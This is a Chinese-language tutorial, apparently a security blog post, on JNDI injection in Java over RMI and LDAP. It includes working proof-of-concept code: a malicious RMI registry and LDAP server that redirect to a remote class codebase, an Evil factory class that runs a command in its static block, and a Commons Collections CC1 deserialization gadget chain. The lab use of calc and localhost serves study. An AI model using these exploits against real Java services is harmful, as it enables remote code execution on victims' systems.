JNDI注入原理分析
JNDI 注入,即当开发者在定义 JNDI 接口初始化时,lookup() 方法的参数被外部攻击者可控,攻击者就可以将恶意的 url 传入参数,以此劫持被攻击的Java客户端的JNDI请求指向恶意的服务器地址,恶意的资源服务器地址响应了一个恶意Java对象载荷(reference实例 or 序列化实例),对象在被解析实例化,实例化的过程造成了注入攻击。不同的注入方法区别主要就在于利用实例化注入的方式不同。
| 协议 |
作用 |
| LDAP |
轻量级目录访问协议,约定了 Client 与 Server 之间的信息交互格式、使用的端口号、认证方式等内容 |
| RMI |
JAVA 远程方法协议,该协议用于远程调用应用程序编程接口,使客户机上运行的程序可以调用远程服务器上的对象 |
| DNS |
域名服务 |
| CORBA |
公共对象请求代理体系结构 |

版本限制
JNDI 注入对 JAVA 版本有相应的限制,具体可利用版本如下:
- JDK 5U45、6U45、7u21、8u121 开始 java.rmi.server.useCodebaseOnly 默认配置为true
- JDK 6u132、7u122、8u113 开始 com.sun.jndi.rmi.object.trustURLCodebase 默认值为false,即不允许RMI远程地址加载objectfactory类
- JDK 11.0.1、8u191、7u201、6u211 com.sun.jndi.ldap.object.trustURLCodebase 默认为false

重点
恶意类不能有包名
RMI
服务端
接口类
1 2 3 4 5 6 7
| import java.rmi.Remote; import java.rmi.RemoteException;
public interface server extends Remote { public String hello()throws RemoteException; public void print(Object o)throws RemoteException; }
|
接口实现类
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
| import java.rmi.RemoteException; import java.rmi.server.UnicastRemoteObject;
public class serverImpl extends UnicastRemoteObject implements server{
protected serverImpl() throws RemoteException { System.out.println("构造方法"); }
@Override public String hello( ) throws RemoteException { System.out.println("hello方法被调用"); return "hello,world"; }
@Override public void print(Object o) throws RemoteException {
} }
|
注册中心
1 2 3 4 5 6 7 8 9 10 11
| import java.rmi.RemoteException; import java.rmi.registry.LocateRegistry; import java.rmi.registry.Registry;
public class registry { public static void main(String[] args) throws RemoteException { Registry registry = LocateRegistry.createRegistry(1099); serverImpl hello = new serverImpl(); registry.rebind("hello",hello); } }
|
通过LocateRegistry创建注册表服务并绑定端口
1
| Registry registry = LocateRegistry.createRegistry(1099);
|
创建远程对象实例。
serverImpl 必须继承 UnicastRemoteObject 并实现你的远程接口(server)。
在构造时,UnicastRemoteObject 会自动把这个对象导出(export)到 RMI 系统,使它可以接收远程调用。
1
| serverImpl hello = new serverImpl();
|
把远程对象 hello 绑定到注册表里,名称是 "hello"
1
| registry.rebind("hello", hello);
|
客户端
接口类
1 2 3 4 5 6 7
| import java.rmi.Remote; import java.rmi.RemoteException;
public interface server extends Remote { public String hello()throws RemoteException; public void print(Object o)throws RemoteException; }
|
获取注册表
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43
| import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.map.TransformedMap;
import org.apache.commons.collections.Transformer; import java.lang.annotation.Target; import java.lang.reflect.Constructor;
import java.rmi.registry.LocateRegistry; import java.rmi.registry.Registry; import java.util.HashMap; import java.util.Map;
public class client { public static void main(String[] args) throws Exception { Registry registry = LocateRegistry.getRegistry("localhost", 1099); server hello = (server) registry.lookup("hello"); System.out.println(hello.hello()); hello.print(cc1()); } public static Object cc1() throws Exception{ Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}), new InvokerTransformer("invoke",new Class[]{ Object.class,Object[].class},new Object[]{null,null }), new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}), }; ChainedTransformer chainedTransformer =new ChainedTransformer(transformers);
HashMap<Object,Object> map = new HashMap<>(); map.put("value","value"); Map<Object,Object> transformedMap = TransformedMap.decorate(map,null,chainedTransformer);
Class c =Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor constructor = c.getDeclaredConstructor(Class.class,Map.class); constructor.setAccessible(true); Object o = constructor.newInstance(Target.class,transformedMap); return o; } }
|
1 2 3 4 5
| getRegistry("localhost",1099) ──> 获取注册表代理 lookup("hello") ──> 请求远程注册表 注册表返回 hello 的 Stub 调用 stub.hello() ──> 序列化请求发送给服务端 服务端反序列化调用真实对象 → 执行方法 → 序列化结果返回
|
数据传输过程

无论是客户端还是服务端,他们直接的数据交互都是发送的序列化数据,到达后再进行反序列化
JNDI+RMI 注入
漏洞利用过程归纳总结为:
由于 lookup() 的参数可控,攻击者在远程服务器上构造恶意的 Reference 类绑定在 RMIServer 的 Registry 里面,然后客户端调用 lookup() 函数里面的对象,远程类获取到 Reference 对象,客户端接收 Reference 对象后,寻找 Reference 中指定的类,若查找不到,则会在 Reference 中指定的远程地址去进行请求,请求到远程的类后会在本地进行执行,从而达到 JNDI 注入攻击。
服务端
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| import com.sun.jndi.rmi.registry.ReferenceWrapper;
import javax.naming.Reference; import java.rmi.registry.LocateRegistry; import java.rmi.registry.Registry;
public class RMIService { public static void main(String[] args) throws Exception{ Registry registry = LocateRegistry.createRegistry(1234); Reference reference = new Reference("Evil","Evil","http://127.0.0.1:8000/"); ReferenceWrapper wrapper = new ReferenceWrapper(reference); registry.bind("ServiceEvil",wrapper); } }
|
每行解析
1
| LocateRegistry.createRegistry(1234)
|
- 在本地创建 RMI 注册表,端口 1234。
- 用来存放 Remote 对象,客户端可以通过
lookup() 获取。
1
| Reference reference = new Reference("Evil","Evil","http://127.0.0.1:8000/");
|
- 创建一个 Reference,指向恶意类:
- 类名
"Evil" → 想生成的对象名。
- 工厂类
"Evil" → JNDI 会用它的 getObjectInstance() 生成对象。
- codebase
"http://127.0.0.1:8000/" → 如果目标 JVM 没有本地类,从这里下载类文件。
1
| ReferenceWrapper wrapper = new ReferenceWrapper(reference);
|
- 将 Reference 封装成 Remote 对象 → 可以注册到 RMI 注册表。
- RMI 只能存储 Remote 对象,所以必须包装一下。
1
| registry.bind("ServiceEvil", wrapper);
|
- 把这个 Remote ReferenceWrapper 注册到 RMI 注册表,名字叫
"ServiceEvil"。
- 目标 JVM 如果查找
"ServiceEvil",就会获取到这个 ReferenceWrapper → JNDI 解析 → 加载恶意类 → 执行 static 块。
客户端
1 2 3 4 5 6 7 8 9 10 11
| import javax.naming.InitialContext; import javax.naming.NamingException;
public class client { public static void main(String[] args) throws NamingException { String uri = "rmi://127.0.0.1:1234/ServiceEvil"; InitialContext initialContext = new InitialContext(); initialContext.lookup(uri); } }
|
恶意类
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| public class Evil implements ObjectFactory { static { try { Runtime.getRuntime().exec("calc"); } catch (IOException e) { throw new RuntimeException(e); } }
@Override public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception { return null; } }
|
static {}
- 类加载时就会执行这里的代码 → 打开计算器(
calc)。
- 所以即使
getObjectInstance() 什么都不做,只要类被加载,恶意代码就触发。
实现 ObjectFactory
Reference 指定工厂类就是这个类。
- 当目标 JVM 使用 JNDI 解析 Reference 时,会调用
getObjectInstance()(虽然这里返回 null),触发类加载 → static 块执行。
调用过程
创建一个恶意的 RMI 注册表,并在其中注册一个指向远程恶意类的 JNDI Reference 对象。该对象会被封装为可通过 RMI 传输的 Remote 对象,并以指定名称绑定到注册表中。这样,当目标服务端通过 JNDI 访问该 RMI 注册表并查找该名称时,就会根据 Reference 信息从远程加载恶意类并执行。
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| 目标 JVM 攻击者 RMI 服务 | | | JNDI lookup("rmi://...") | |---------------------------->| | | 返回 Remote ReferenceWrapper | | 里面封装 Reference -> className=Evil, factoryClass=Evil, codebase=http://... | <---------------------------| | | | JNDI 解析 Reference | | 找到工厂类 Evil | | 下载类(codebase 指向的 URL) | | 加载类 -> 执行 static {Runtime.getRuntime().exec("calc");} | 恶意逻辑执行完成
|
思路细节
JNDI
- Java Naming and Directory Interface,用于在 Java 中查找和获取对象。
- 可以访问多种目录/服务协议:LDAP、RMI、DNS 等。
- 查找对象的返回类型可以是:
- 直接的 Java 对象
Reference 对象 → JNDI 会根据 Reference 信息动态生成真实对象
Reference
javax.naming.Reference 是一个“对象说明书”,告诉 JNDI 如何去构造一个对象。
- 包含:
- 类名(Class Name)
- 工厂类名(Factory Class Name)
- codebase URL(如果类不在本地 JVM,可从远程加载)
- 注意:Reference 本身不包含真实逻辑,真正的行为由工厂类决定。
Remote
- Java RMI 的标记接口,表示对象可以被远程调用。
- 所有注册到 RMI 注册表的对象必须实现
Remote。
- 封装后的 ReferenceWrapper 或远程对象需要实现 Remote,才能被 RMI 注册和传输。
ReferenceWrapper
- RMI 注册表只能存储 Remote 对象。
ReferenceWrapper 是一个包装器,把 Reference 封装成 可通过 RMI 传输的 Remote 对象。
- 这样客户端或服务端查找 RMI 注册表时,可以获取到 Reference 并触发远程类加载。
为什么可以传输ReferenceWrapper对象
因为它实现了 Remote,符合 RMI 存储要求。
RMI 在传输 Remote 对象时:
- 不是直接把对象传过去,而是传一个 代理(stub)。
- stub 会在客户端 JVM 中生成对象引用。
当客户端调用 JNDI 解析方法时:
- RMI stub 会把 ReferenceWrapper 返回给客户端。
- 客户端拿到 ReferenceWrapper 后,JNDI 解析 Reference → 下载 class → 执行逻辑。
UnicastRemoteObject
- RMI 只是用来传输 ReferenceWrapper(Remote 对象),实际执行的是工厂类加载过程,目标 JVM 本地加载并执行,不是远程调用你的对象方法。
trustURLCodebase
- 如果目标 JVM 禁止远程类加载(
-Dcom.sun.jndi.rmi.object.trustURLCodebase=false),恶意类无法从 HTTP 下载 → 攻击失败。
流程


JNDI+LDAP 注入
服务端
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64
| public class server { private static final String LDAP_BASE = "dc=example,dc=com";
public static void main ( String[] tmp_args ) { String[] args=new String[]{"http://127.0.0.1:8000/#Evil"}; int port = 7777; try { InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE); config.setListenerConfigs(new InMemoryListenerConfig( "listen", InetAddress.getByName("0.0.0.0"), port, ServerSocketFactory.getDefault(), SocketFactory.getDefault(), (SSLSocketFactory) SSLSocketFactory.getDefault()));
config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(args[ 0 ]))); InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config); System.out.println("Listening on 0.0.0.0:" + port); ds.startListening();
} catch ( Exception e ) { e.printStackTrace(); } }
private static class OperationInterceptor extends InMemoryOperationInterceptor {
private URL codebase;
public OperationInterceptor ( URL cb ) { this.codebase = cb; }
@Override public void processSearchResult ( InMemoryInterceptedSearchResult result ) { String base = result.getRequest().getBaseDN(); Entry e = new Entry(base); try { sendResult(result, base, e); } catch ( Exception e1 ) { e1.printStackTrace(); } }
protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws LDAPException, MalformedURLException, MalformedURLException { URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class")); System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl); e.addAttribute("javaClassName", "foo"); String cbstring = this.codebase.toString(); int refPos = cbstring.indexOf('#'); if ( refPos > 0 ) { cbstring = cbstring.substring(0, refPos); } e.addAttribute("javaCodeBase", cbstring); e.addAttribute("objectClass", "javaNamingReference"); e.addAttribute("javaFactory", this.codebase.getRef()); result.sendSearchEntry(e); result.setResult(new LDAPResult(0, ResultCode.SUCCESS)); } } }
|
客户端
1 2 3 4 5 6 7
| public class client {
public static void main(String[] args) throws NamingException { InitialContext initialContext = new InitialContext(); initialContext.lookup("ldap://127.0.0.1:7777/Evil"); } }
|

细节
- 恶意类名要和ldap转发名一样
- static静态代码块优先加载
- 恶意类不需要包名
- 编译恶意类的jdk必须和客户端一样
RMI和LDAP注入条件
RMI/LDAP 注入就是利用 JNDI,让客户端去访问攻击者控制的http服务器,从而加载和执行攻击者自定义的类。
|
JDK6 |
JDK7 |
JDK8 |
JDK11 |
| RMI可用 |
6u132以下 |
7u122以下 |
8u113以下 |
无 |
| LDAP可用 |
6u211以下 |
7u201以下 |
8u191以下 |
11.0.1以下 |
参考链接
https://myzxcg.com/2021/10/Java-RMI%E5%88%86%E6%9E%90%E4%B8%8E%E5%88%A9%E7%94%A8/#%E5%AE%A2%E6%88%B7%E7%AB%AF%E6%94%BB%E5%87%BB%E6%9C%8D%E5%8A%A1%E7%AB%AF
https://www.cnblogs.com/LittleHann/p/17768907.html#_label3_2_0_1
https://www.cnblogs.com/dhan/p/18417881
https://www.bilibili.com/video/BV1Ne4y1o7ch/?spm_id_from=333.337.search-card.all.click&vd_source=6bbe8080b9e77328acb7e5979da124e8